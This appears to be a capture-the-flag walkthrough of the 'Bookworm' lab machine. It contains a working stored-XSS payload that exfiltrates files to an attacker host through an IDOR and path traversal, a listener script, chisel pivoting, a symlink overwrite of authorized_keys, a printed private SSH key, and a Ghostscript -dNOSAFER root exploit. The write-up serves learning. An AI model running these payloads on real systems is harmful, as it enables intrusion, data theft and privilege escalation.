Scan

> TARGET=10.129.230.40 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://bookworm.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • domain: bookworm.htb

  • subdomain enum

> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u "http://bookworm.htb/" -H "Host: FUZZ.bookworm.htb" --hl 107
/usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
  • http://bookworm.htb/basket found the following message
We've finally finished moving warehouse!
As a result, we're no longer offering free e-book downloads of purchased books. Don't fret! All previous orders that were made during our moving period will still be downloadable. We hope you enjoy our new 4 hour delivery guarantee!

# order id enum didn't find anything
> wfuzz -z range,1000-2000 -u http://bookworm.htb/order/FUZZ -b "session=eyJmbGFzaE1lc3NhZ2UiOnt9LCJ1c2VyIjp7ImlkIjoxNCwibmFtZSI6InRlc3QiLCJhdmF0YXIiOiIvc3RhdGljL2ltZy91c2VyLnBuZyJ9fQ==" -b "session.sig=Vk5J0WZrsUQYpUDucMI0tL8gg34" --hh 30

# dirsearch
> dirsearch -u http://bookworm.htb/ -H "Cookie: session=eyJmbGFzaE1lc3NhZ2UiOnt9LCJ1c2VyIjp7ImlkIjoxNCwibmFtZSI6InRlc3QiLCJhdmF0YXIiOiIvc3RhdGljL2ltZy91c2VyLnBuZyJ9fQ==;session.sig=Vk5J0WZrsUQYpUDucMI0tL8gg34"

[19:06:55] 302 -   30B  - /download/users.csv  ->  /profile                 
[19:06:55] 302 -   30B  - /download/history.csv  ->  /profile
[19:07:11] 302 -   27B  - /login  ->  /shop                                 
[19:07:11] 302 -   27B  - /login/  ->  /shop                                
[19:07:12] 302 -   23B  - /logout  ->  /                                    
[19:07:12] 302 -   23B  - /logout/  ->  /                                   
[19:07:28] 200 -    4KB - /profile                                          
[19:07:29] 200 -    3KB - /register                                         
[19:07:33] 200 -   11KB - /shop                                             
[19:07:36] 301 -  179B  - /static  ->  /static/

user: frank

  • Simple enum on the web reveals that there is the possibility of xss. but the CSP prevents any scripts from outside the site from running: CSP: script-src self
  • however, avatar upload at http://bookworm.htb/profile only checks for mime type, but doesn’t check the content, therefore, js code can be uploaded. This can be a place to host our js code
  • With some more enum, it turns out that once a book is added to the basket, the notes portion can be used to load script so that the js code can be triggered
<script src="/static/img/uploads/14"></script>
  • Following is an example payload on how to exfiltrate remote files using a arbitrary file read vulnerability on the bookIds parameter. However, the bot doesn’t read our orders, so to trigger our payload, we have to find out how to make the bot process our code. we’ll explain this next.
function get_orders(html_page){
  // Create a new DOMParser instance
  const parser = new DOMParser();
  // HTML string to be parsed
  const htmlString = html_page;
  // Parse the HTML string
  const doc = parser.parseFromString(htmlString, 'text/html');
  // Find all the anchor tags within the table body
  const orderLinks = doc.querySelectorAll('tbody a');
  // Extract the URLs and store them in an array
  const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
 
  return orderUrls;
}
 
function getDownloadURL(html) {
  // Create a temporary container element to parse the HTML
  const container = document.createElement('div');
  container.innerHTML = html;
 
  // Use querySelector to select the download link element
  const downloadLink = container.querySelector('a[href^="/download"]');
 
  // Extract the download URL
  const downloadURL = downloadLink ? downloadLink.href : null;
  const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../../../etc/passwd" : null;
 
  return downloadURL;
}
 
function fetch_url_to_attacker(url){
  var attacker = "http://<ip>/?url=" + encodeURIComponent(url);
 
  fetch(url).then(
    async response=>{
      fetch(attacker, {method:'POST', body: await response.arrayBuffer()})
    }
  );
}
 
function get_pdf(url){
  fetch(url).then(
    async response=>{
        fetch_url_to_attacker(getDownloadURL(await response.text()));
    })
}
 
fetch("http://<ip>/?trying")
fetch("http://bookworm.htb/profile").then(
  async response=>{
    for (const path of get_orders(await response.text())){
      fetch_url_to_attacker("http://bookworm.htb" + path);
      get_pdf("http://bookworm.htb" + path);
    }
  }
)
  • server code, run at local, save pdf files, to open the files, you may need to unzip and change the extension to .txt to review
from http.server import SimpleHTTPRequestHandler, HTTPServer
import random
from urllib.parse import urlparse, parse_qs
 
class RequestHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        # print(self.headers)
 
        parsed_url = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)
        if 'url' in query_params:
            print(query_params['url'][0])
 
        # Handle POST request here
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
 
        # print(f'POST data: {post_data.decode()}')
        # if post_data.decode().isprintable():
        #     print(f'POST data: {post_data.decode()}')
        # else:
        filename = 'temp' + str(random.randint(0, 9999))
        with open(filename,'wb') as f:
            f.write(post_data)
        print("Non ascii characters detected!! Content written to ./{} file instead.".format(filename))
 
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b'POST request received')
 
    def do_GET(self):
        # print(self.headers)
        parsed_url = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)
        if 'url' in query_params:
            print(query_params['url'][0])
 
        SimpleHTTPRequestHandler.do_GET(self)
 
def run_server():
    server_address = ('', 80)
    httpd = HTTPServer(server_address, RequestHandler)
    print('Server running on http://localhost:8000')
 
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
 
    httpd.server_close()
    print('Server stopped')
 
if __name__ == '__main__':
    run_server()
  • The vulnerability that allows us to make the bot processing our order is improper access control to this endpoint http://bookworm.htb/basket/{order}/edit. It is not limited to the user’s account that made the order. Therefore, we can slot in the order ID of those users that will be processed by the bot with our content. The orders can be found in Recent Activities section and you can find the order ID by inspecting the html source.
import requests
from bs4 import BeautifulSoup
import time


s = requests.Session()
r = s.post('http://bookworm.htb/login', {
    'username':'test',
    'password':'test'
})

orders = []

while len(orders) == 0:
    r = s.get('http://bookworm.htb/shop')
    soup = BeautifulSoup(r.content, features="lxml")
    mydivs = soup.find_all("div", {"class": "row mb-2"})
    for div in mydivs:
        order = div.contents[1]
        orders.append(order)
        break
    time.sleep(3)

print(orders)
for order in orders:
    r = s.post(f'http://bookworm.htb/basket/{order}/edit', {
        'quantity': 1,
        'note': '<script src="/static/img/uploads/14"></script>'
    })
  • perform more enum using this way
# from /etc/nginx/sites-available/default
server {
        listen 80 default_server;
        listen [::]:80 default_server;
        root /var/www/html;
        index index.html index.htm index.nginx-debian.html;
        server_name _;
        location / {
                try_files $uri $uri/ =404;
        }
}

# /etc/passwd
frank:x:1001:1001:,,,:/home/frank:/bin/bash
neil:x:1002:1002:,,,:/home/neil:/bin/bash

# ./index.js
const { sequelize, User, Book, BasketEntry, Order, OrderLine } = require("./database");
# ./database.js
host: "127.0.0.1",
user: "bookworm",
database: "bookworm",
password: "FrankTh3JobGiver",
  • login as frank via ssh to get the user flag
frank@bookworm:~$ cat user.txt 
59ff89bdc93c16394ae32b6e7083a652

pe

  • enum using linpeas found open ports at 3001
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:38543         0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
  • this is the /home/neil/converter app
  • pivot the traffic to kali
# kali
> chisel server -p 9999 --reverse
# target
> ./chisel client --max-retry-count=1 <ip>:9999 R:3001:localhost:3001
  • upload a pdf file and observe the backend process using pspy64
2023/05/29 00:21:44 CMD: UID=1002 PID=244331 | /home/neil/converter/calibre/bin/ebook-convert /home/neil/converter/processing/2fb819f9-5d97-4e3e-92b5-656b8fc2aa0a.pdf /home/neil/converter/output/2fb819f9-5d97-4e3e-92b5-656b8fc2aa0a.epub
2023/05/29 00:21:44 CMD: UID=1002 PID=244332 | 
2023/05/29 00:21:44 CMD: UID=1002 PID=244333 | /home/neil/converter/calibre/bin/ebook-convert /home/neil/converter/processing/2fb819f9-5d97-4e3e-92b5-656b8fc2aa0a.pdf /home/neil/converter/output/2fb819f9-5d97-4e3e-92b5-656b8fc2aa0a.epub
2023/05/29 00:21:44 CMD: UID=1002 PID=244334 | /home/neil/converter/calibre/bin/pdftohtml -f 1 -l 1 -xml -i -enc UTF-8 -noframes -p -nomerge -nodrm -q -stdout src.pdf
2023/05/29 00:21:44 CMD: UID=1002 PID=244335 | /home/neil/converter/calibre/bin/calibre-parallel
2023/05/29 00:21:44 CMD: UID=1002 PID=244337 | /home/neil/converter/calibre/bin/pdfinfo -enc UTF-8 -isodates src.pdf
2023/05/29 00:21:44 CMD: UID=1002 PID=244338 | /home/neil/converter/calibre/bin/pdfinfo -meta src.pdf
2023/05/29 00:21:44 CMD: UID=1002 PID=244339 | /home/neil/converter/calibre/bin/pdftoppm -singlefile -jpeg -cropbox src.pdf cover 
  • we can write to the /home/neil/.ssh/authorized_keys by creating a symlink, as the tool will treat the output without an extension as a directory, so we need the symlink to trick it into thinking it’s a file.
# target
frank@bookworm:~$ mkdir /tmp/test/
frank@bookworm:~$ ln -s /home/neil/.ssh/authorized_keys /tmp/test/t.txt
frank@bookworm:~$ chmod -R 777 /tmp/test/
frank@bookworm:~$ ls -ls /tmp/test/
total 0
0 lrwxrwxrwx 1 frank frank 31 May 29 03:10 t.txt -> /home/neil/.ssh/authorized_keys

# kali
> curl http://kali:3001/convert -F convertFile=@/root/workspace/Bookworm/file.txt -F 'outputType=./../../../../../../../tmp/test/t.txt' -o-
  • now, ssh as neil
neil@bookworm:~$ cat .ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDqcgcBPB2+qqbrzHBH++n0a0xbnp088c/nj/jcObTGfwAAAJCAnJQ/gJyU
PwAAAAtzc2gtZWQyNTUxOQAAACDqcgcBPB2+qqbrzHBH++n0a0xbnp088c/nj/jcObTGfw
AAAEBrbl4nCKjLMwUPwU1NC7iqA3TZaJOHfcFK9sRmYmUXiepyBwE8Hb6qpuvMcEf76fRr
TFuenTzxz+eP+Nw5tMZ/AAAADW5laWxAYm9va3dvcm0=
-----END OPENSSH PRIVATE KEY-----
  • check sudo rights
neil@bookworm:~$ sudo -l
Matching Defaults entries for neil on bookworm:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User neil may run the following commands on bookworm:
    (ALL) NOPASSWD: /usr/local/bin/genlabel
  • read the script at /usr/local/bin/genlabel, the script directly read from db and generate a pdf using postscript (PS)
print("Fetching order...")
for (name, address_line_1, address_line_2, town, postcode, order_id, user_id) in cursor:
    file_content = file_content.replace("NAME", name) \
                    .replace("ADDRESSLINE1", address_line_1) \
                    .replace("ADDRESSLINE2", address_line_2) \
                    .replace("TOWN", town) \
                    .replace("POSTCODE", postcode) \
                    .replace("ORDER_ID", str(order_id)) \
                    .replace("USER_ID", str(user_id))

...
output = subprocess.check_output(["ps2pdf", "-dNOSAFER", "-sPAPERSIZE=a4", postscript_output, pdf_output])
  • note the flag -dNOSAFER, this allows arbitrary file read
  • so, we can update the db, e.g name column, with our payload to execute a file
  • but due to column type limits to only 20 characters, we need to shorten the command by writing the payload into a file, e.g tmp/t and then trigger the payload using the PS command (tmp/t) run
neil@bookworm:~$ mysql -ubookworm -pFrankTh3JobGiver -D bookworm -e "update Users set name='1)%\n(/tmp/t) run\n%'"
neil@bookworm:~$ echo 'mark /OutputFile (%pipe%bash -c "chmod +s /usr/bin/bash") currentdevice putdeviceprops' > /tmp/t
neil@bookworm:~$ sudo /usr/local/bin/genlabel 1
Fetching order...
Generating PostScript file...
Generating PDF (until the printer gets fixed...)
Something went wrong!
Command '['ps2pdf', '-dNOSAFER', '-sPAPERSIZE=a4', '/tmp/tmpmgb5h0rvprintgen/output.ps', '/tmp/tmpmgb5h0rvprintgen/output.pdf']' died with <Signals.SIGPIPE: 13>.
neil@bookworm:~$ ls -ls /usr/bin/bash
1156 -rwsr-sr-x 1 root root 1183448 Apr 18  2022 /usr/bin/bash
neil@bookworm:~$ bash -p
bash-5.0# cat /root/root.txt
0a5292206ccd102f924a5d95e8917f91

Support meowmeow

If you find this article useful, please support: https://www.buymeacoffee.com/meowmeowattack